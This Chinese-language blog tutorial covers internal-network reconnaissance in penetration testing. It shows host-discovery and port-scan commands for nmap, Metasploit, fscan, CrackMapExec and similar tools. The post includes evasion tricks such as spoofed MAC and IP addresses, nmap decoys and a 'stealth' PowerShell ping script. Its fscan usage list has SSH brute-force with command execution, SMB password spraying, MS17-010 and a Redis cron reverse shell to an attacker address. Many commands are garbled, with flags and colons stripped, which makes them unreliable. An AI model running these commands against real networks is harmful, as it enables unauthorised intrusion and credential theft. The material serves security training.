Featured image of post 【内网攻防】内网扫描探测

【内网攻防】内网扫描探测

文章共4355字

0x00 简介

在渗透测试中可以根据⽬标主机的情况,上传⼯具进⾏主机存活探测,也可以借助内⽹代理或路由转发对⽬标主机所处的局域⽹发起探测。
测试⼈员可以根据当前渗透环境,选⽤ICMP、NetBIOS、UDP、ARP、SNMP、SMB等多种⽹络协议。按照协议类型,下⾯介绍使⽤常⻅⼯具来发现内⽹存活主机的⽅法。

0x01 探测域内存活主机

协议对⽐表:

协议 最佳适⽤场景 规避检测技巧
ARP 局域⽹快速精准探测 伪造源MAC地址
ICMP 跨⽹段基础存活探测 随机延迟发送、TTL伪装
UDP 防⽕墙绕过探测 使⽤⾮常⽤端⼝(5353/161等)
SMB Windows主机专项探测 匿名空会话连接
NetBIOS 主机名和⻆⾊识别 结合137/138/139端⼝扫描

1. 利⽤ICMP协议快速探测内⽹

ICMP (Internet Control Message Protocol,因特⽹控制消息协议)是TCP/IP 协议簇的⼀个⼦协议,⽤于⽹络层的通信,即IP主机、路由器之间传递控制消息,提供可能友⽣在通信环境中的各种问题反馈。通过这些信息,管理员可以对发⽣的问题做出诊断,然后采取适当的措施解决。 在实际利⽤中,可以通过ICMP循环对整个⽹段中的每个IP地址执⾏ping 命令,所有能够ping 通的IP地址即为内⽹中存活的主机。 在⽬标主机中执⾏以下命令:

for

1
2
3
4
5
6
for /L %I in (1,1,254) Do @ping -n 1 -w 100 192.168.12.%I | findstr /i "TTL="
代码解释:
-n 1 :每个IP只发送1个ICMP包(加快扫描速度)。
-w 100 :等待回复的超时时间设为100毫秒(根据⽹络质量调整)。
/i: 忽略⼤⼩写,确保匹配 或 。
| :管道符,将 ping 结果传递给 findstr 过滤。

image.png

PowerShell

创建⼀个scanip.ps1

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
function Invoke-StealthPing {
param($subnet, $start, $end, $threads=20)
$block = {
param($ip)
Start-Sleep -Milli (Get-Random -Min 100 -Max 800)
if (Test-Connection $ip -Count 1 -Quiet -EA 0) {
[Convert] ToBase64String([Text.Encoding] UTF8.GetBytes($ip))
 }
}
$jobs = @()
1 254 | % {
$ip = "$subnet.$_"
while ($jobs.Count -ge $threads) {
$completed = $jobs | ? State -ne 'Running'
$completed | Receive-Job
$jobs = $jobs | ? State -eq 'Running'
}
 $jobs += Start-Job $block -Arg $ip
}
$jobs | Wait-Job | Receive-Job | % {
[Text.Encoding] UTF8.GetString([Convert] FromBase64String($_))
 }
}

nmap

1
nmap -sn -PE 192.168.12.0/24

利⽤NetBIOS快速探测内⽹

NetBIOS是局域⽹程序使⽤的⼀种程序编辑接⼝(API),为程序提供了请求级别服务的统⼀的命令集,为局域⽹提供了⽹络及其他特殊功能。
nbtscan是⼀个命令⾏⼯具,⽤于扫描本地或远程tcp/ip⽹络上的开放NEtBIos名称服务器。在实际利⽤时,向局域⽹的每个IP地址发送NetBIOS状态查询,可以获得主机名、MAC地
址等信息。 NBTScan是⼀款⽤于扫描Windows⽹络上 NetBIOS名称的程序,⽤于发现内⽹中存活的 Windows 主机。 NBTScan可以对给定IP范围内的每个IP地址发送NetBIOS状态查询,并且以易读的表格列出接收到的信息,对于每个响应的主机,会列出它的IP地址、NetBIOS计算机名、登录⽤户名和MAC地址。总之,NBTSCAN可以获取到PC的真实IP地址和MAC地址。
将nbtscan.exe 上传到⽬标主机(⽹⻚搜索下载即可),执⾏以下命令:
下载地址:

1
2
http://unixwiz.net/tools/nbtscan.html#download
https://github.com/charlesroelli/nbtscan
1
nbtscan.exe 192.168.199.1/24

image.png

nmap

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
nmap -sU -p 137 script nbstat.nse 192.168.12.0/24
关键参数说明:
1. -sU
    - 功能:启用 UDP 扫描模式,用于发现目标主机开放的 UDP 端口。
    - 背景:UDP 是无连接协议,扫描难度大于 TCP,需通过发送 UDP 包并分析响应判断端口状态。
2. -p 137
    - 功能:指定扫描目标的 UDP 137 端口。
    - 背景:137 端口是 NetBIOS 名称服务(NBNS)的标准端口,用于计算机在局域网中解析 NetBIOS 名称(如 Windows 计算机名)。
3. --script nbstat.nse
    - 功能:执行 Nmap 脚本引擎(NSE)中的nbstat.nse脚本。
    - 脚本作用:通过 NetBIOS 协议获取目标主机的详细信息,包括:
        - 计算机名、工作组 / 域名称
        - 已注册的 NetBIOS 服务(如文件共享、打印服务)
        - 用户名(部分情况下可泄露)
        - 操作系统类型(通过分析响应特征推测)
4. 192.168.12.0/24
    - 功能:指定扫描的目标 IP 范围,即192.168.12.1到192.168.12.254的所有主机。

基于UDP发现存活主机

nmap

UDP (User Datagram Protocol,⽤户数据报协议)是⼀种⽤于传输层的⽆连接传输的协议,为应⽤程序提供⼀种不需建⽴连接就可以发送封装的IP数据包的⽅法。 在实际利⽤中,可以将⼀个空的UDP报⽂发送到⽬标主机的特定端⼝,如果⽬标主机的端⼝是关闭的,UDP 探测就⻢上得到⼀个ICMP端⼝⽆法到达的回应报⽂,这意味着该主机正在运⾏ 。 如果到达⼀个开放的端⼝,⼤部分服务仅仅忽略这个空报⽂⽽不做任何回应 。Unicornscan是Kali Linux平台的⼀款信息收集⼯具,提供了⽹络扫描功能。 执⾏以下命令,通过UDP协议扫描内⽹的存活主机

1
nmap -sU 192.168.12.0/24

Unicornscan

kali⾃带 macos linux
命令:

1
unicornscan -mU 192.168.12.0/241-65535

通过arp扫描探测内⽹

ARP (Address Resolution Protocol,地址解析协议)是⼀个通过解析⽹络层地址来找寻数据链路层地址的⽹络传输协议,⽤于⽹络层通信。主机发送信息时,将包含⽬标IP地址的ARP请求⼴播到局域⽹上的所有主机,并接收返回消息,以此确定⽬标的物理地址﹔收到返回消息后,将该IP地址和物理地址存⼊本机 ARP缓存,并保留⼀定时间,下次请求时直接查询ARP缓存,以节约资源。 在实际利⽤中,可以向⽹络发送⼀个ARP请求,若⽬标主机处于活跃状态,则其⼀定会回应⼀个ARP响应,否则不会做出任何回应。

arp-scan⼯具

下载地址:

1
https://gitcode.com/open-source-toolkit/36a6c/blob/main/arp-scan-windows--master.zip

命令:

1
./arp-scan.exe -t 172.16.41.1/24

msf

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
启动msf
msfconsole

msf > use  auxiliary/scanner/discovery/arp_sweep
msf > show options
msf > set  interface eth0
msf > set  smac 000c:2992:fd:85
msf > set  rhosts 192.168.174.1/24
msf > set  threads 20
msf > set  shost 192.168.174.131 (伪造源ip)
msf > run

基于SMB协议发现存活主机

SMB ( 端 ⼝ 445 ) ⼜ 称 为 ⽹ 络 ⽂ 件 共 享 系 统 (Common Internet File System , CIFS ) 协议,是⼀种应⽤层传输协议,主要功能是使⽹络上的机器能够共享计算机⽂件、打印机、串⾏端⼝和通信等资源。CIFS消息⼀般使⽤NetBIOS或TCP发送,分别使⽤139或445端⼝,⽬前倾向于使⽤445端⼝。 在实际利⽤中,可以探测局域⽹中存在的SMB服务,从⽽发现内⽹的存活主机,多适⽤于Windows主机的发现。

1
nmap -p 445 open -T4 192.168.12.0/24 -oG smb_hosts.txt

CrackMapExec (简称 CME) 是⼀款⼗分强⼤的后滲透利⽤⼯具,在 Kali Linux 上可以直接使⽤ apt-get 命令进⾏安装。CrackMapExec 能够枚举登录⽤户、枚举 SMB 服关表、执⾏ WIRM 攻 击 等 功 能 , 可 以 帮 助 测 试 ⼈ 员 ⾃ 动 化 评 估 ⼤ 型 城 ⽹ 络 的 安 全 性
下载地址:

1
https://github.com/Porchetta-Industries/CrackMapExec/releases 

命令:

1
crackmapexec smb 172.16.41.1/24

TCP协议扫描

三次握⼿ 四次挥⼿

nmap

1
2
3
4
5
6
# 基础扫描(SYN半开扫描)
nmap -sS -T4 192.168.1.0/24
# 精准服务识别
nmap -sV -sC -O -p1-65535 192.168.1.1/24 -oA full_scan
# 规避防⽕墙
nmap -f mtu 24 data-length 100 -D RND5 scan-delay 192.168.1.0/24

masscan

1
2
3
4
# 安装
git clone https://github.com/robertdavidgraham/masscan make -j
# 扫描B段80/443端⼝
./masscan 10.0.0.0/8 -p80,443 rate 100000

rustscan

1
2
3
4
# 安装
docker pull rustscan/rustscan
# 扫描并⾃动调⽤Nmap
rustscan -a 192.168.1.0/24  -A -sC

扫描域内端⼝

端⼝的banner信息 ,端⼝上运⾏的服务,常⻅应⽤的默认端⼝

利⽤telnet命令进⾏扫描

Telnet 协议是tcp/ip协议族的⼀员,是Internet远程登陆服务的标准协议和主要形式。
1.⾸先得开启服务

1
2
3
4
telnet 192.168.1.1 22

REM 批量扫描IP段(需提前启⽤Telnet客户端)
for /l %i in (1,1,254) do @telnet 192.168.1.%i 80 > nul  echo 192.168.1.%i:80 open

端⼝banner信息

如果通过扫描发现了端⼝,可以使⽤客户端连接⼯具或者nc,获取服务端的Banner信息。获 取 Banner 信 息 后 , 可 以 在 漏 洞 库 中 查 找 对 应 cve 编 号 的 Poc 、 exp 、 在 exploitDB 、seebug等平台上查看相关的漏洞利⽤⼯具,然后到⽬标系统中验证漏洞是否存在,从⽽有针对性地进⾏安全加固。

1
2
3
4
5
6
7
8
nc -nv 127.0.0.1 22

⽂件共享服务端⼝(21、22、69、2049、139、389)
远程连接服务端⼝(22、23、3389、5900、5632)
Web应⽤服务端⼝(80、443、8080、7001、7002、8089、9090、4848、1352)
数据库服务端⼝(3306、1433、1521、5432、6379、5000、9200)
邮件服务端⼝(25、110、143)
⽹络常⻅协议端⼝(53、67、68、161)

⾃动化信息收集

fscan

下载:

1
https://github.com/shadow1ng/fscan

使用:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
fscan -h ip/24 -p port -o .txtc

./fscan -h 192.168.101.1/24                                                启动fscan并扫描⽹段
./fscan.exe -h 192.168.x.x                                                     默认使⽤全部模块
./fscan.exe -h 192.168.x.x -rf id_rsa.pub                           redis 写私钥
./fscan.exe -h 192.168.x.x -c whoami                                 ssh爆破成功后,命令执⾏
./fscan.exe -h 192.168.x.x -m ms17010                              指定模块
./fscan.exe -h 192.168.x.x -m ssh -p 2222                         指定模块ssh和端⼝
./fscan.exe -h 192.168.x.x -h 192.168.1.1/24                     C段
./fscan.exe -h 192.168.x.x -h 192.168.1.1/16                     B段
./fscan.exe -h 192.168.x.x -h 192.168.1.1/8                       A段的192.x.x.1和192.x.x.254,⽅便快速查看⽹段信息
./fscan.exe -h 192.168.x.x -hf ip.txt                                    以⽂件导⼊
./fscan -h 192.168.1.1/24 -np -no -nopoc                         (跳过存活检测 、不保存⽂件、跳过web poc扫描)
./fscan -h 192.168.1.1/24 -rf id_rsa.pub                            (redis 写公钥)
./fscan -h 192.168.1.1/24 -rs 192.168.1.16666                  (redis 计划任务反弹shell)
./fscan -h 192.168.1.1/24 -c whoami                                 (ssh 爆破成功后,命令执⾏)
./fscan -h 192.168.1.1/24 -m ssh -p 2222                         (指定模块ssh和端⼝)
./fscan -h 192.168.1.1/24 -pwdf pwd.txt -userf users.txt (加载指定⽂件的⽤户名、密码来进⾏爆破)
./fscan -h 192.168.1.1/24 -o /tmp/1.txt                             (指定扫描结果保存路径,默认保存在当前路径)
./fscan -h 192.168.1.1/8                                                        (A段的192.x.x.1和192.x.x.254,⽅便快速查看⽹段信息 )
./fscan -h 192.168.1.1/24 -m smb -pwd password        (smb密码碰撞)
./fscan -h 192.168.1.1/24 -m ms17010                             (指定模块)
./fscan -hf ip.txt                                                                    (以⽂件导⼊)
./fscan -u http: baidu.com -proxy 8080                         ( 扫 描 单 个 url, 并 设 置 http 代 理http: 127.0.0.18080)

SharpScan

下载地址:

1
https://github.com/INotGreen/SharpScan
  1. C#开发的内⽹资产扫描器,⽅便内⽹横向移动和域内信息收集
  2. 参考了Ladon,Fscan、Kscan等扫描器的⼯作原理
  3. 为了兼容更古⽼的系统,所以采⽤.NET Framework3.5 和.NET Core6.0开发
  4. 使⽤异步和⾼并发、扫描速度快并且可控、内存⾃动回收
  5. ⽤Inline-assembly或者Execute-assembly进⾏内存加载,做到⽆⽂件落地扫描
  6. 体积较⼩(⽬前800kb)、传输快、⾃动化扫描+内⽹信息收集⼀条⻰
  7. 尽量遵循OPSEC原则,不创建net.exe、wmi.exe、reg.exe等额外的⼦进程操,减少⽇志记录
    使用:
1
SharpScan.exe -h 192.168.12.1/24 -o output.txt

Inveigh

一款专注于内网协议欺骗与凭证捕获的PowerShell工具。
下载地址:

1
https://github.com/Kevin-Robertson/Inveigh/releases

PowerSploit

下载:

1
https://github.com/PowerShellMafia/PowerSploit

wmic_info

为了简化操作,可以创建⼀个脚本,在⽬标机器上完成流程、服务、⽤户账户、⽤户组、⽹络接⼝、硬盘信息、⽹络共享信息、操作系统、安装的补丁、安装的软件、启动时运⾏
的 程 序 、 时 区 等 信 息 的 查 询 ⼯ 作 。
下 载 地址:

1
http://www.fuzzysecurity.com/scripts/files/wmic_info.rar 

点击下载⽂件,然后⽣成了out.html

ADExplorer

使⽤ADExplorer轻松导航AD数据库,定义收藏夹位置,查看对象属性,⽆需打开对话框 、编辑权限、查看对象的模式,并执⾏复杂的搜索。
下载:

1
https://learn.microsoft.com/en-us/sysinternals/downloads/adexplorer

BloodHound

BloodHound将域内⽤户、计算机、组、Sessions、ACLs以及域内所有相关⽤户、组、计算机、登陆信息、访问控制策略之间的关系更直观的展现在攻击者⾯前进⾏更便捷的分析域内情况,更快速的在域内提升⾃⼰的权限。
使⽤BloodHound轻松识别⾼度复杂的攻击路径,轻松深⼊了解Active Directory环境中的权限关系。
1)安装Neo4j

1
2
apt install neo4j -y 
neo4j start

推两个Gith项⽬:

1
2
3
4
项⽬地址:https://github.com/Al1ex/CSPlugins
项⽬介绍:主要收集常⽤的CS好⽤的插件,涉及提权、漏洞利⽤、横向移动、信息收集、免杀等等
项⽬地址:https://github.com/Al1ex/Pentest-tools
项⽬介绍:主要收集⼀些内⽹渗透测试中常⽤到的⼯具
站点已运行计算中...